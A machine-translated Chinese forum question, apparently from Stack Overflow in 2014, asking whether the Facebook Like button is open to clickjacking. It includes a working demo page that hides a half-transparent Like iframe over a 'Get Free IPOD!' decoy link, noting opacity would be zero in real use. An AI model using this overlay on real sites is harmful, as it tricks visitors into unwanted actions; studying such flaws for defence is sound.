几天之前,我已阅读关于从http://javascript.info/tutorial/clickjacking的点击劫持攻击。所以今天我试着用facebook这样的按钮。看来我在实验中取得了成功。Facebook喜欢按钮容易受到点击劫持吗?
但我不知道天气我正确与否?这是我用过的代码片段。
<html>
<head>
<script>
window.fbAsyncInit = function() {
FB.init({
appId : '********',
xfbml : true,
version : 'v2.1'
});
};
(function(d, s, id){
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) {return;}
js = d.createElement(s); js.id = id;
js.src = "//connect.facebook.net/en_US/sdk.js";
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));
</script>
<style>
iframe { /* iframe from facebook.com */
width:140px;
height:100px;
margin-top: 100px;
margin-left: 50px;
position:absolute;
top:0; left:0;
filter:alpha(opacity=50); /* in real life opacity=0 */
opacity:0.5;
}
.a{
margin-top: 95px;
}
</style>
</head>
<body>
<div class="a">
<a href="http://www.google.com" target="_blank" style="position:relative;left:20px;z-index:-1">Get Free IPOD!</a>
</div>
<iframe src="//www.facebook.com/plugins/like.php?href=https%3A%2F%2Fwww.facebook.com%2FTimesnow&width&layout=button&action=like&show_faces=false&share=false&height=35&appId=*****" scrolling="no" frameborder="0" style="border:none; overflow:hidden; height:35px;" allowTransparency="true"></iframe>
</body>
</html>
我可以iframe的不透明度设置为0,使用户无法看到像按钮FB,当用户将点击链接,攻击者页面会自动喜爱。
例小提琴:http://jsfiddle.net/5e5kvxk4/2/
我这么想吗?或Facebook的按钮真的很脆弱?
是的。这就是为什么我的浏览器上安装了一个插件,可以防止Facebook按钮在异地工作。无论如何,你的问题是什么? – 2014-09-24 14:33:02
那么,如何在不禁止嵌入按钮的情况下防止这种情况发生呢? – Bergi 2014-09-24 14:35:14
@DaveChen:我很惊讶Facebook很脆弱。这就是我所问的,脸书没有采取任何预防措施呢? – user3427540 2014-09-24 14:39:29